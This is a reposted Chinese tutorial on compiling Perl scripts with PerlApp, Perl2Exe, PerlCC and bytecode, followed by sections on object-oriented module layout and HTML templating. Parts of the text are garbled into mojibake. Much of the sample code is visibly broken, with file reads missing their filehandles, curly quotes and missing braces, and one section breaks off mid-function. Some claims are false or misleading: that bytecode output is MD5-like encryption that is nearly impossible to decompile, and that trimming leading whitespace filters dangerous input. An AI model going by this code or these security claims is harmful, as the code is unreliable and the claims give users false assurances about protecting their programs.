perl-全面编译(转)

 
资迅 论坛 教程 杂志 SNS 搜索 
-
Linux教程
Linux
 
Linux编程
 
C/C++编程
 Python编程
 Perl编程
 PHP编程
 shell
 编程技术
 kernel
 html技术
 zope
 java/jsp
 discuz
 Linux宝库 Linux教程 Linux Linux编程 Perl编程  
06/14 2008 Perl语言全面编译 分类:Perl编程 | Linux  作者:Linux宝库  来自:Linux教程  发布时间:2008年06月14日 您是本文的第5640位读者
-


本文来自:Linux教程 -- http://doc.linuxpk.com/3089.html
如有不明白之处,欢迎参加社区讨论
  简

  述

  本文将详细讲述Perl的编译方法,献给所有热爱、喜欢Perl的程序员们。

  Perl自从面世以来1.0版本到现今的5.6版本,一直都有编译程序,主要因为国内的中文资料很少,大多数人不愿意去看或者不懂得英文资料,所造成不知道器编译方法。即使是很多Perl界高手也同样有此类问题。Perl编译方法五花八门,各种编译方法都有其重要的意义和弱点。另一方面Perl编译方法不能流行的原因是,本身Perl就是一个免费的东西,人们不希望Perl成为编译的商品,但是在国内也是因此而拖累了Perl的发展步伐。但在此我不赞成也不推崇Perl程序的编译,Perl编译有小些局限性,但是仍然可以完成所有任务,想要达到良好的编译效果,需要高超的编程技术和相关经验,重要的是对OOP(面向对象的程序设计)的了解,将会使得你的Perl程序更加易于编译,运行速度更快,兼容性更广等特性。

  以前我写过Perl在可嵌入式技术方面技术文章。它的优势和其它嵌入语言无法比拟的兼容性,Perl不但拥有PHP的可嵌入HTML技术,也同样支持用PerlScript写ASP的。但是如果你希望你的程序可以编译执行,那么可嵌入式方法显然是不可能的。我几乎不用ePerl、 mod_perl等可嵌入式Perl

  HTML

  页,但是我更不赞成很多人把HTML置入程序之中,这两种方法都有其好处以及坏处。我推崇模板方式的编写方法,大家可能也用过模板方式,可能认为它在页面量处理方面有很多问题?但是,那些都是陈旧古老的方式,也是说明你并未精通Perl语言,采用模板方式调入HTML页是相当好的方法,几乎可以达到所有可嵌入式技术的功效,也可以像HTML程序内置方式的灵活操纵性。我觉得程序员和HTML制作员是不同的,如果我们采用ePerl、PHP、ASP,那么你就不是一个真正的程序员,那只是HTML技术的服务器处理部分罢了,真正的程序是程序本身,而不附带任何其它特性。

  我认为好的教学文章,应该让读者充分了解内容,充分扩展层面。诸如编写一个Httpd程序,有很多传统的程序员根本不了解

  http的通讯协议,即使讲了很多内容,但是仍然搞得半懂不懂。本文将会充分扩展层面,让读者了解更多的技术资料,而不必看完本文后又要去寻找关联技术资料。同样国内目前有很多技术性书籍,都是来自国外的译本,但是很多译者并非此技术专家,在翻译的时候很多东西无法充分理解,带来的时间上的障碍。我希望国内的编程专家能够写一些有用的技术文章和书籍,因为我看过很多国人自己写的文章都容易理解和操作。但是问题在于都偏向与基础教学,目前急切地需要有更深层次的技术资料。

  内容大纲:

  1)

  PerlApp和PerlSvc编译方法

  New!

  Easy!

  2)

  Perl2Exe

  编译方法

  3)

  PerlCC

  编译方法

  4)

  PerlCC之Bytecode

  编译解析法——Just

  Like

  Java

  Program!

  New!

  Cool!

  5)

  OOP面向对象的程序之为编译而设计

  6)

  HTML模板编程方式——真正的WEB程序(Program)

  Good!

  7)

  联合编译以及实例

  Advanced!

  说明:如何选择阅读以上内容是很重要的,以上内容并非适合各个阶层的Perl程序员。PerlApp和PerlSvc适合在 Windows2000环境下编程初学者和一般的Perl程序设计人员,Perl2Exe适合在非Windows和Windows95/98/Me

  环境下编程初学者和一般的Perl程序设计人员。PerlCC适合与任何操作系统平台,但是操作复杂,适合于中级程序员和高级程序员开发大宗商业化软件(公众客户)使用。ByteCode是一种新型的编译方式,类似Java,它需要Perl解析器的支持,但是它是灵活性最高的编译方式,适合中级程序员和高级程序员开发大宗商业化软件(服务商)使用。如果你希望你可以编写出一个出色的Perl编译的程序,那么你必须阅读第4节,它将告诉你如何使用面向对象的程序设计技术来实现Perl编译程序的高效良好的开发环境和模式。

  第一节

  PerlApp和PerlSvc编译方法

  PerlApp和PerlSvc是ActiveState

  公司开发的,它属于

  Active

  Perl

  Dev

  Kit(PDK)产品。本编译方法只适合于Windows2000上运行,其它系统均无法正常使用,编译程序必须是标准Perl和ActivePerl。

  PDK下载地址:http://ftp.tanshuai.net/pub/

  ftp://ftp.tanshuai.net/pub/

  PerlApp和PerlSvc,前者是标准的应用程序,后者是Windows2000的服务程序(类似与IIS,一开机就启动的服务程序,而且无法中断它的运行)。他们有两种运作模式:依靠(Dependent)和独立(Freestanding),“依靠”模式程序运行的系统上必须有Perl 解析器和相关模块,这样的程序相对较小;“独立”模式,Perl解析器等相关模块都会完全嵌入在程序之中,这样的程序在任何Windows2000操作系统上都可以顺利运行,而不需要额外的支持,但是程序相对较大。

  使用方法:

  标准使用方法(“依靠”模式):

  perlapp

  这样程序就会创建一个以脚本名命名的可执行文件

  “独立”模式:

  perlapp(或者perlsvc)

  –f

  定义输出可执行文件名:

  perlapp(或者perlsvc)

  –e=tanshuai.exe

  test.pl

  它将会把test.pl文件输出的可执行文件名改为“tanshuai.exe”。

  设置程序属性:

  perlapp(或者perlsvc)

  -i=

  类表名

  目标项目

  Filenumber

  文件号码

  Productnumber

  产品号码

  Productname

  产品名称

  Legaltrademarks

  合法商标

  Filedescription

  文件说明

  Originalfilename

  原文件名

  Fileversion

  文件版本

  Comments

  注解

  Productversion

  产品版本

  Companyname

  公司名称

  Internalname

  内部名称

  Legalcopyright

  版权

 ?≌飧鍪焙蛴行┤丝赡懿淮竺靼祝飧鍪歉墒裁从玫摹H绻阍嘈垂齏in32程序,那就会知道,它是Windows程序的版本说明(如图1)。

  图1

  Perl.exe文件的版本说明

  名称与数值用“;”分开。而且所有项目值都需小写。

  清理PerlCtrl

  的DLL:

  perlapp(或者perlsvc)

  –c

  添加模块:

  perl(或者perlsvc)

  –a=

  如:perlapp

  tanshuai.pl

  –a=IO:Socket;XML::Parser;Tanshuai::Http;MP3;

  这样模块IO:Socket,XML::Parser,Tanshuai::Http和MP3就被置入程序内。

  Perl图形界面:

  perlapp(或者perlsvc)

  –g

  如果你的程序非命令行或者CGI,是T/K图形界面的话,就需要采取这个命令。

  排除

  Perl56.dll:

  perlapp(或者perlsvc)

  –x

  Perl56.dll是PerlApp执行的关键,但是如果你不希望他和你的程序在一起,你可以把它排除,另行安置,但是主意,一定要保证它的存在否则就无法正确运行

  添加额外文件:

  perlapp(或者perlsvc)

  –b=

  如果你希望在程序内部打开文件,请使用这个命令。

  如:open(FILE,“./PerlAPP.TXT“);@FILE=;close(FILE);

  这样就必须打开“PerlAPP.TXT“文件,但是你如果把它置入程序,它将会在内存中打开。(无法写入)

  报告嵌入模块错误:

  perlapp(或者perlsvc)

  -r

  一些模块无法嵌入,使用该命令可以得出相关信息。

  输出详细信息:

  perlapp(或者perlsvc)

  -v

  如:perlapp

  tanshuai.pl

  –v

  输出:

  Using

  myScript.pl

  for

  script

  name

  Input

  script

  name:

  tanshuai.pl

  Output

  exe

  name:

  tanshuai.exe

  Exe

  Mode:

  Perl

  Dependent

  Creating

  dependent

  executable

  解释:PerlApp

  和PerlSvc无法在Windows95/98/ME

  PerlApp使用的部分Win32

  API函数未被支持。

  第二节

  Perl2EXE

  编译方法

  Perl2EXE

  可以在大多数流行系统上编译运行,但是我几乎不用它,我认为它是“最低级”编译。而且它也是最容易被反编译的程序。所以我不推崇它,也不愿意用它。不过适合很多初学者。

  它的原理很简单,知识把原来的Perl代码放入程序中和内置的解析其共同运行,而且速度不如PerlAPP。

  Perl2EXE

  同样可以在

  http://ftp.tanshuai.net/pub

  和

  ftp://ftp.tanshuai.net/pub/

  下载。

  标准方法:

  perl2exe

  Perl解析器选项值设定:

  perl2exe

  –perloption=““

  参数主要就是perl解析器的参数如:-w

  –X

  –e

  等等。

  共享dll库:

  perl2exe

  –small

  如果你是多个程序编译,那么使用这个命令,比较“划算“,你只要把它们的共享dll库,复制到共同的执行目录下,即可。共享DLL库:p2xdll.dll或者p2x560.dll。

  启动图形界面:

  perl2exe

  –gui

  和perlapp是同样的作用。

  设置执行程序的图标:

  perl2exe

  –icon=

  设置输出文件名:

  perl2exe

  -o=

  设置运行系统平台:

  perl2exe

  –platform=

  如:Sun操作系统

  perl2exe

  –platform=sun

  program.pl

  Linux操作系统

  perl2exe

  –platform=linux

  program.pl

  第三节

  PerlCC

  编译方法

  PerlCC是Perl的最好最优秀最强的得编译器,而且是免费的。但是它的调试与运作是比较方“烦”人的?L乇鹗窃谖⑷淼腤indows就更令人头疼。

  PerlCC编译器的原理是分析Perl原代码,然后根据标准转换方式,转换成C语言,当然这里的C全部采用Perl的头文件(Header),也就是全部采用Perl的函数,即使你只有一行的

  “print

  “hello

  world”;”都需要无数行的定义后才会出现这样的效果。但是令人惊奇的是perl编译后的这个“hello

  world”比C/C++的编译后的可执行文件还要小。采用PerlCC转换出来的C源代码几乎是不可读(不可理解)的,几乎比汇编语言还令人费解。所以这样的程序即使被反编译出来,它的源代码也是会令人无法琢磨,但是这种程序根本几乎无法反编译,至少目前是,我相信只要Windows未被反编译那么它编译出来的Perl可执行程序也同样无法反编译。

  如果使用PerlCC是大家最关心的事情,在Unix-Style系统是,凡是安装perl5.0以上版本的都可以使用PerlCC,编译程序,但是必须有C编译器。这个我就不必太多说了。因为这个方法不大适合初学者,一般中级程序员对Unix-Style系统应该是较为了解的。

  在Windows中,一定要安装VC6.0(也可以是GCC,但是安装复杂)否则仍然无法编译,安装VC6.0是简单的事情,只要找到微软VC6的光盘,安装。

  然后,下载Perl源代码(地址:http://ftp.tanshuai.net/pub/

  ),下来后解开压缩(Windows可以用Winzip)。

  UNIX-Style

  命令行模式下:

  #cd

  #make

  #make

  test

  ~可选

  #make

  install

  ~完成安装

  #export

  PATH=$PATH;/;

  ~设置变量

  Windows

  命令行(Command.com

  CMD.COM)模式下:

  C:\>cd

  C:

  nmake

  C:

  nmake

  test

  ~可选

  C:

  nmake

  install

  Windows

  95/98/Me

  在

  AutoExec.Bat文件中设置路径。

  Windows

  Nt/2000

  在“控制面板”-〉“系统”-〉“高级”-〉“环境变量”中设置

  注意:千万不要使用AtivePerl,而且最好在安装标准编译Perl后,删除AtivePerl,AtivePerl“不支持” PerlCC,虽然它也有带perlcc

  但是至少我是永远都无法编译成功的,我也不知道为什么,我也不想知道为什么,因为很多程序是在Unix- Style

  上运作的,大多数都是标准Perl,所以建议大家为了兼容所有操作系统,请尽量用标准Perl编写和解析程序。

  好啦,一切安装、设置就绪后,重新启动计算机后。我们进入我们想要编译的文件目录中,输入“perlcc

  ”(注意:这里的程序扩展名称必须是.pl

  .bat

  .p

  .pm,.cgi也不行,你可以修改perlcc.bat文件来支持其它扩展名)。

  输入以上命令后,会出现一大堆你可能看不懂的命令(这些你并不需要关心)

  例如我要编译一个内容为:

  print

  “ok”;

  的Perl程序,该文件名:abc.pl。

  输入:

  perlcc

  abc.pl

  PerlCC输出内容:

  ------------------------------------------------------------------------------

  Compiling

  abc.pl:

  -------------------------------------------------------------------------------

  Making

  C(abc.pl.c)

  for

  abc.pl!

  C:\perl\5.6.0\bin\MSWin32-x86\perl.exe

  -IC:/perl/5.6.0/lib/MSWin32-x86

  -IC:/perl

  /5.6.0/lib

  -IC:/perl/site/5.6.0/lib/MSWin32-x86

  -IC:/perl/site/5.6.0/lib

  -I.

  -MB

  ::Stash

  -c

  abc.pl

  C:\perl\5.6.0\bin\MSWin32-x86\perl.exe

  -IC:/perl/5.6.0/lib/MSWin32-x86

  -IC:/perl

  /5.6.0/lib

  -IC:/perl/site/5.6.0/lib/MSWin32-x86

  -IC:/perl/site/5.6.0/lib

  -I.

  -MO

  =C,-l2000,-umain,-uattributes,-uDB,-uWin32

  abc.pl

  Starting

  compile

  Walking

 ?ree

  Prescan

  Saving

  methods

  Bootstrap

  attributes

  abc.pl

  Writing

  output

  Loaded

  B

  Loaded

  IO

  Loaded

  Fcntl

  abc.pl

  syntax

  OK

  Compiling

  C(abc)

  for

  abc.pl!

  C:\perl\5.6.0\bin\MSWin32-x86\perl.exe

  -IC:/perl/5.6.0/lib/MSWin32-x86

  -IC:/perl

  /5.6.0/lib

  -IC:/perl/site/5.6.0/lib/MSWin32-x86

  -IC:/perl/site/5.6.0/lib

  -I.

  E:\

  DOCUME~1\ADMINI~1\LOCALS~1\Temp/abc.pl.tst

  Couldn't

  open

  E:DOCUME~1ADMINI~1ocals~1temp/abc.pl.val

  cl

  -Od

  -MD

  -DNDEBUG

  -DWIN32

  -D_CONSOLE

  -DNO_STRICT

  -DPERL_MSVCRT_READFIX

  -Od

  -

  MD

  -DNDEBUG

  -Ic:\perl\5.6.0\lib\MSWin32-x86/CORE

  -o

  abc

  abc.pl.c

  /link

  -nologo

  -nodefaultlib

  -release

  -libpath:"c:\perl\5.6.0\lib\MSWin32-x86\CORE"

  -machine:

  x86

  -libpath:c:\perl\5.6.0\lib\MSWin32-x86/CORE

  c:\perl\5.6.0\lib\MSWin32-x86\CO

  RE\perl56.lib

  oldnames.lib

  kernel32.lib

  user32.lib

  gdi32.lib

  winspool.lib

  com

  dlg32.lib

  advapi32.lib

  shell32.lib

  ole32.lib

  oleaut32.lib

  netapi32.lib

  uuid.lib

  wsock32.lib

  mpr.lib

  winmm.lib

  version.lib

  odbc32.lib

  odbccp32.lib

  msvcrt.lib

  abc.pl.c

  然后再输入:abc.exe,如果输出结果与abc.pl一样,那么编译就成功了。这个程序是使用Visual

  C++的CL.EXE

  C/C++编译程序编译的。在Unix-Style下是使用CC或者GCC编译的。

  模块编译注意事项:

  目前PerlCC标准编译方式可以支持大多数程序的模块使用,但是我推荐尽量使用内部命令来完成相应任务,诸如IO::Socket模块可以使用 socket

  内部函数。因为

  IO::Socket是无法在PerlCC下面编译成功的,为什么?

  大家知道Perl很多的模块是本身Perl的语言和内部函数编写的。但是有一部分包括IO::Socket

  DBD

  DBI等这些常用的模块,由于Perl本身内置函数限制,采用了PerlXS接口通过C

  程序达到目的的。这些是通过第三方程序达到目的模块是无法成功的编译。所以我建议尽量使用非含有第三方程序的模块编程。有人可能会说了,我使用了DBI

  DBD来操作数据库,难道让我放弃吗?不,我觉得任何事情都是有它的解决方法,Perl也一样。Perl

  Bytecode将会解决这一问题(详情情看第4节)。

  编程方式注意事项:我为什么要在开头说OOP

  等相关技术以及在本文中提及了OOP的编写?因为PerlCC编译有一定的局限性,如果采用 OOP就可以避免这个局限性,而且会更好的发挥,众所周知,OOP是编程发式的有一革命,你迟早都会涉及的,所以早一点总比晚一点好。我们经常编写程序的时候用“require”命令来引用其它Perl程序文件。然而这种方式不是PerlCC不支持,PerlCC当然支持,这个命令,但是问题在于它无法被编译入PerlCC的主程序内,也就是说主程序被编译了,然而外部引用的这个没有被编译,这样会造成很多问题,首先是暴露了原始代码,其次它人可以随意修改,肯能导致很多量(比如密码)被套出,也可以修改程序运行的模式。但是这也是有点,最后一节将会详尽讲述。

  第四节

  PerlCC之Bytecode

  编译解析法

  Bytecode

  是

  PerlCC的另一编译方法,必须在Perl5.6以后版本才有得支持。它的原理就好像Java一样,它会把Perl文件编译成二进制令人费解的乱码文件,它是采用类似MD5这样的反向加密编码,几乎不可能反编译,和可执行程序一样复杂,但是它不可以直接执行哦。想要执行它,必须用Perl解析器,就好像

  Java

  编译后必须有Java解析器,否则就无法执行。我习惯成为编译解析法,有的时候就说Just

  Like

  Java

  Progam!

  它的编译方法也不难,但是竟然有很多人都不知道,我问过很多Perl前辈,他们也不大了解这一方法。而且很多我也从来见过谁写过这样的程序(难道我是国内第一个知道的吗?:)

  使用方法:perlcc

  –b

  编译后它会输出一个文件,你打开它看,定会吃惊。而且这种文件最小是180KB,比perlcc

  C语言转换编译多了很多。

  它的好处在于,一处编译到处使用。但是对于CGI就不大好处理。所以还是建议在各个平台进行编译。

  例如我ByteCode编译上节的abc.pl程序文件:

  输入:

  perlcc

  –b

  abc.pl

  Perlcc

  –B

  输出

  ----------------------------------------------------------------------------

  Compiling

  abc.pl:

  ----------------------------------------------------------------------------

  Making

  Bytecode(abc.plc)

  for

  abc.pl!

  C:\perl\5.6.0\bin\MSWin32-x86\perl.exe

  -IC:/perl/5.6.0/lib/MSWin32-x86

  -IC:/perl

  /5.6.0/lib

  -IC:/perl/site/5.6.0/lib/MSWin32-x86

  -IC:/perl/site/5.6.0/lib

  -I.

  -MB

  ::Stash

  -c

  abc.pl

  C:\perl\5.6.0\bin\MSWin32-x86\perl.exe

  -IC:/perl/5.6.0/lib/MSWin32-x86

  -IC:/perl

  /5.6.0/lib

  -IC:/perl/site/5.6.0/lib/MSWin32-x86

  -IC:/perl/site/5.6.0/lib

  -I.

  -MO

  =Bytecode,-umain,-uattributes,-uDB,-uWin32

  abc.pl

  abc.pl

  syntax

  OK

  好了,然后perl

  abc.plc

  就可以执行了。

  执行注意事项:

  使用Bytecode

  编译后的文件,你一般需要更名回原来的文件名,否则容易在运行程序后出现警告信息“Attempt

  to

  free

  unreferenced

  scalar.”虽然它对程序没有本质影响,但是不美观嘛,另一种解决方法就是使用

  perl

  –X

  ,关闭所有警告消息,警告不等同与错误,所以一般情况下,某些警告是不必要的。

  同样ByteCode

  编译程序可以被引用(require)但是不能调用(use),可以作为对象编程的对象。这是一个很灵活的东西,如果你希望你的模块被大家使用,但是不想让大家知道其中的操作,那么你就是用ByteCode,但是你的模块将永远不会被纳入CPAN。这种方法就好像OCX控件。

  但是注意,但是使用某个模块的时候,你必须保证使用该程序的机器上有这个模块,最简单的方法你可以把模块一起复制使用,但是有些第三方程序模块需要重新编译,你如果不希望其它人操作模块或者是看到引用的模块,也可以使用 Bytecode。但是注意,一定要用require方法调用加密模块啊。这个世界总是这样,总会有些遗憾的,这样的话就不能用一些模块和OOP。

  不知道你了解Python这个语言否?它Perl很相像,比Perl还有简单呢。但是我认为很多东西都是抄Perl的,包括它得二进制编译方法,就和Perl

  Bytecode没有任何区别。反正大家也都知道PHP也是抄了Perl不少东西。

  --------------------------------------------------------------------------------

  第五节

  OOP面向对象的程序之为编译而设计

  面向对象的程序设计已经不是什么新颖的话题和技术了。它在C++和Java中,尤为重要,哎,我觉得在写大宗程序的时候会很有帮助,但是在小程序里面反而麻烦,还不如普通的函数使用。OOP大多数基本的Perl教程都有说明,所以这里也不多讲“废话”,主要讲述OOP在编译Perl程序中的应用以及Perl

  OOP编写的技巧,所以值得一看。

  前面说过在PerlCC编译可执行程序的时候,不要使用require函数,这是没有错的。但是有很多人写require习惯了,而且不经常接触OOP模式,所以不习惯。

  其实使用use比require

  好很多,还有很多人用require引入变量,这是大大错误,这是一种程序上编写的失误,所以建议以后大家不要用这种方式。编译的时候也不要用这种放式?那么用什么方式?如果你是一个有经验的Perl程序员,你应该知道。使用OPEN函数,传送变量值。这是编译Perl程序的关键,一些定量(不变的量),最好放在程序内部,变量以及客户所需要设置的量使用我先前说的那种方式。具体实践方法:

  Tanshuai

  OpenConf

  函数代码:

  sub

  Open_Conf

  {

  open(FILE,

  "$_[0]");#打开~调用函数的文件名

  my

  @Conf_Info

  =

  ;#赋予~文件内容到@Conf_Info数组中

  close(FILE);#关闭~文件

  my

  $Conf_Infos

  ;定义~局部变量

  foreach

  $Conf_Infos

  (@Conf_Info)

  {#循环

  ($name,

  $value)

  =

  split(/=/,

  $Conf_Infos);#区分~名称和数值

  ($value,

  $dot)

  =

  split(/;/,

  $value);#区分~结束符

  $value=~s"'""gi;#删除~不必要的符号

  $CFG{$name}

  =

  $value;#复制~参数到散列变量

  }

  }

  配置文件原形:

  Port='81';

  IP="127.0.0.1";

  Listen='5';

  调用方法:

  Open_Conf('../Conf/httpd.cfg');#../Conf/httpd.cfg为路径和文件名

  $port

  =

  $CFG{'Port'};#将文件原型的Port量复制到$port上,当然你可以不必这样做,可以直接引HASH

  $ip

  =

  $CFG{'IP'};#和上面的一样

  这样就解决了配置变量的问题,我想这个函数对某些人一定会有很重要的意义。

  在这里OOP就是use

  方式的调用。

  现在我们要着重讨论OOP问题了,如果你不想把一大堆的程序代码写在一个文件中,那么使用OOP就最好了,原来是可以使用require,但这里不可一。OOP在Perl的好处显而易见,首先可以编译,即使不编译,它也同require有明显差异。

  OOP是在程序需要时调入,不需要时自动消失(通常说破坏对象)。require则不然,一旦调入一直存在,除非你使用exit

  函数,所以在某些方面影响了程序的效率。

  例如我们要写一个Shell程序,一共需要一下部分:输入/输出(I/O)、命令判断(CMD)、System(系统操作)。

  我们平时也可以使用require,在编译的时候就好了,同样我们虽然可以按照子程序放在一个程序里面,但是在这里只是例子,但是在大宗商业项目中,这样做是显然费时费力的,会增加维护成本,无法联合开发等多种弊端。

  我们把他们分为4个文件3个模块一个主程序(编译):IO.pm、CMD.pm、System.pm、Shell.pl。

  首先要构造对象:

  Tanshuai

  对象构造方法:

  package

  ;

  my

  %IN;#定义~包(对象)内部的散列

  sub

  new

  {#构造函数名

  my

  $class

  =

  shift;

  %IN=

  @_;#将调用对象的数值传入散列IN中

  my

  $self={};

  bless

  $self,$class;

  return

  $self;

  }

  虽然上面的构造有些不好的地方,但是它是通用对象的构造方法,利于调试,如果你认为没程序上的问题,就可以“封包”,适当修改变量传引方式。

  这里的所有对象只有是一个单一函数,只包括:构造对象和操作对象的两个部分,这是一个简单的对象引用,但是这种应用在实际的开发总是相当无畏的,在这里是为了方便教大家,所以不要什么程序都要对象。

  IO.pm:

  package

  IO;

  my

  %IN;

  sub

  new

  {

  my

  $class

  =

  shift;

  %IN

  =

  @_;

  my

  $self={};

  bless

  $self,$class;

  return

  $self;

 ?

  sub

  do

  {#操作对象函数

  my

  $self=shift;

  defined

  ($_

  =

  );#启动Shell得取输入信息

  chomp;#去掉无用的字符

  s/^\s+//;#过滤危险字符

  my

  $cmd

  =

  $_;#复制量

  return

  $cmd;#返回量

  }

  1;

  CMD.pm:

  package

  CMD;

  my

  %IN;

  sub

  new

  {

  my

  $class

  =

  shift;

  %IN

  =

  @_;

  my

  $self={};

  bless

  $self,$class;

  return

  $self;

  }

  sub

  do

  {#操作对象函数

  my

  $self=shift;

  my

  $cmd

  =

  @_

  ;#传入调用程序的命令

  while

  (){#执行循环,直到退出

  if

  ($cmd

  eq

  'ver')

  {

  print

  "Tanshuai

  Command

  Shell

  v.1.0.0.001225b\n";

  print

  "(C)Copyright

  Tanshuai.Com

  1997-2001\n";

  print

  'EMAIL:tanshuai@BIGFOOT.COM';

  print

  "\n";

  &do;

  }

  elsif

  ($cmd

  eq

  ""){

  &do;

  exit;

  }

  elsif

  ($cmd

  eq

  'exit'){

  print

  "Exit

  System";

  exit;

  }

  elsif

  ($cmd

  eq

  ‘dir'){

  use

  System;#使用包System

  my

  $sys

  =

  System

  ::new

  ;#建立基于System包的对象$sys

  $sys->do($cmd)

  ;#操作对象sys传送命令

  &do;

  }

  else

  {

  print

  "

  Command

  Not

  Found

  ";

  &do;

  }

  }

  }

  }

  1;

  System.pm:

  Package

  System;

  my

  %IN;

  sub

  new

  {

  my

  $class

  =

  shift;

  %IN

  =

  @_;

  my

  $self={};

  bless

  $self,$class;

  return

  $self;

  }

  sub

  do

  {#操作对象函数

  my

  $self=shift;

  my

  $cmd

  =

  @_

  ;

  system($cmd)

  ;#使用System函数操作系统,启动dir命令

  1;

  以上各个模块(对象)已经建立完毕,我们现在只需要设计一个简单的操作对象程序。这个时候你发现搞对象原始是如此简单:)

  Shell.pl

  主程序:

  use

  IO;#调用~模块(对象)

  IO.pm

  use

  CMD;#调用~模块(对象)

  CMD.pm

  my

  $IO

  =

  IO::new;#创建对象~$IO

  my

  $CMD

  =

  CMD::new;#创建对象~$CMD

  my

  $GetInput

  =

  $IO->do;#从对象IO得到输入信息;

  $CMD->do("$GetInput");#将得到的输入信息发送给对象$CMD,进行分析操作。

  exit

  ;

  这样就完成了,你可能问为什么没有使用对象System

  ?那是因为在对象CMD中继承对象System,所以我们不需要在程序中使用System,要不然就累了。

  当你看到shell.pl程序时候,你有何感想?是不是觉得搞对象简单了很多呢?给我的想法就是,以后程序员会越来越多,因为对象编程太简单了,而我们呢?哎,我们就去做对象。以后编程和做对象的人可能要区分开来了。

  现在编译shell.pl后,把这些对象删除,看看能否使用?当然能,假如你使用require就出现无法执行的致命错误。

  哎呀,好累了。我就要吐血了

  #$@,还没有吃晚饭呢。明日继续吧。

  这里告诉大家编译Perl在较大或者较复杂的程序项目中,使用对象,会有很好的作用。你可能会问,用对象编译出来的程序如此之大,是否会影响效率?肯定会,但是它并非明显,就好像一个小小的15KB的程序,在运行的时候可能占用超过100MB的内存。由于它会整个被内存启动,但是并不会有较大幅度的效率下降。如果还想使用类似require的方法,就要看最后一章了。

  第六节

  HTML模板编程方式——真正的WEB程序

  什么是真正的程序(Program)?我们平时使用ASP、PHP这些都不属于程序,它们只是一种页(Page),动态页面(Dynamic

  Page),但是我们一般称作页面编程(Web

  Programming),但这种说法不确切(并非不正确)。程序就是程序,并非所有的语言都叫做程序或编程语言。很多权威的书籍、文章和网站(例如:Yahoo!)都没有将ASP、PHP当作程序(编程语言)来解释。ASP是一种语言介质,PHP在 Yahoo的定义页只是类似于SSI。他们说要做的东西顶多就是一个“后台(服务器端)的HTML(或者说是Script)”,可以想象,页(Page)和程序(Program)的差异,至少可以说页是由程序来解析输出结果的。那么也就是说,页想要做的事情比程序要局限得多。PHP不是一种程序,如果用 ASP或PHP做一个Http服务器,你会有什么感觉?你见过吗?你见过ASP、PHP做的非Web“程序”吗?我想你没有见过。你相信用ASP、PHP 编制出类似于Windows的图形(GUI)界面程序吗?那是一种什么感觉呢?所以,做程序和页面是两种不同的概念,在国内不知道是翻译的时候错误,还是大家都是这样理解的。

  如果你要写一个Web页,做一些小动作,用ASP、PHP、ePerl等未尝不可。但是它不是来给你做大宗Web项目或者软件而设计的。至少我是这样认为。而且我觉得Perl目前在程序中直接使用HTML是一种不好的习惯或者行为。它将增加维护成本,降低工作效率等诸多不便因素。其实我觉得外制式的模板方式的HTML套入法是适合时代潮流以及未来软件升级扩展的。至少可以让客户在不触及程序核心的前提下,随意修改界面,可以得到个性化、特性化的设置——未来趋势。而且我们可以降低很大维护的成本,同时某些不变的(诸如:版权、声明、标示)内容仍然可以使用内置式或者在套入模板的过程中进行相应修改等。如果你真的不喜欢他人修改模板,那么你可以使用加密方式,对模板文件进行加密,可以达到程序操作目的,和降低维护成本,而禁止他人修改的目的(推荐使用:Crypt::RC4)。

  本章将会着重讲述在Perl程序中(不但只是为了编译Perl)使用套入法,套入模板HTML,并且进行灵活的HTML操作。

  以下是标准的内置式和外制式的HTML操作:

  内置式HTML程序:

  #!perl

  $Var="HELLO

  WORLD";

  print

  $Var

  HTML

  exit;

  外置式HTML程序:

  #!perl

  $Var="HELLO

  WORLD";

  open

  (HTML,"../HelloWorld.html");#打开HelloWorld.html文件

  @HTML=;

  close

  (HTML);

  print

  Content-type

  :text/html

  ;

  foreach

  (@HTML)

  {#循环

  $_

  =~

  s/\*Var/$Var/g;#替换Hellworld.html

  文件中*Var的内容为变量$Var的内容

  print

  "$_";#输出

  }

  exit;

  外置式HTML文件

  HellWorld.html:

  *Var

  上面的例子都是现实操作中广泛(流行)用法,大家可能感觉到外置式有些复杂,其实不然,你只要把它做成一个函数或者对象就相当容易了。

  关键问题在于,变量的替换,若使用上面的方法,有些不妥,因为默写模板页面不一定是适合的那些变量,如果你把所有的变量都放在foreach里面,那么势必对于程序运行资源造成极大浪费,而且得?怀ナВ跋煨省U庋龀梢桓龊蛘叨韵螅曰嵊胁煌ㄓ玫奈侍狻?

  所以建立一个灵活的分析方法,对于模板HTML处理提供良好的快捷的运作模式。

  这个时候我们就要利用Perl强大的语法分析,来做一个自己的HTML语言分析语句了。这个语句看似简单缺令人头疼。

  我们现在以“*”符号作为模板中的变量(类似于Perl

  中的$),这样有助于辨析。那么我想要把所有以“*”开头的变量,自动变换成程序内的对应变量,例如:要把*abc成为内部的$abc。一般情况我们需要逐个设置,这样大大浪费了时间,我们现在需要做一个通用的方法,无论什么的量都自动转换。这个语法很简单:

  $_

  =~

  /\*(\w+)/;

  看似简单的一局话,却有很大的作用,这句就是把以*开头的字符的名找出来,但是有趣的是,你不需要进行太复杂的,只要遇到空格或者其它非标准字符,就会自动排除。

  现在我们要把找到的字符名(即HTML的自定义变量)发给一个临时变量中(该步骤可以不做):$tmp

  =

  $1

  ;

  现在要做的就是把这个*abc换成量$abc的值:

  $_

  =~

  s/\*$tmp/$Html{"$tmp"}/g

  这里的$Html是散列变量(HASH),为了方便和容易理解,我在这里采用HASH,这样对应的$Html{‘abc’}就被提出来,换掉*abc了。

  下面就是我做的模板套用函数与例子。

  打开文件的函数RTF:

  #!perl

  sub

  RTF{

  open(READTXTFILE,"$_[0]");

  @readtxtfile=;

  close(READTXTFILE);

  return

  @readtxtfile;

  }

  分析模板的函数PHF:

  #!perl

  sub

  PHF

  {

  my

  $file

  =

  "$_[0]";

  @HtmlFileMessages=&RTF("$file");#Open

  File;

  foreach

  (@HtmlFileMessages)

  {

  $_

  =~

  /\*(\w+)/;

  #替换网页的变量,批量处理,寻找“*

  --------------------------------------------------------------------------------

  第七节

  联合编译以及实例

  本章至关重要,你已经知道Perl的两种最好的编译方法。但是他们都有利弊,只要稍动脑筋,就可以实现“强强联合”,这样可以尽量避免那些缺憾。

  联合编译的道理很简单,但操作起来也不那样一帆风顺,其中有很多地方值得注意。联合编译主要有一个主程序和多个子程序(FILE)组成。它们之间是使用require函数连接。主程序只做连接等分析工作,子程序做细节工作,包括对象操作,模块引用。我们采用PerlCC

  翻译C的方式来编译主程序成为一个可以执行的文件,在把子程序用Bytecode方式编译,这样即可免去无法使用部分模块的问题,也可以直接使用Perl程序,只要在主程序的前面定义一下模块引用路径,方法:

  use

  lib

  ‘’;

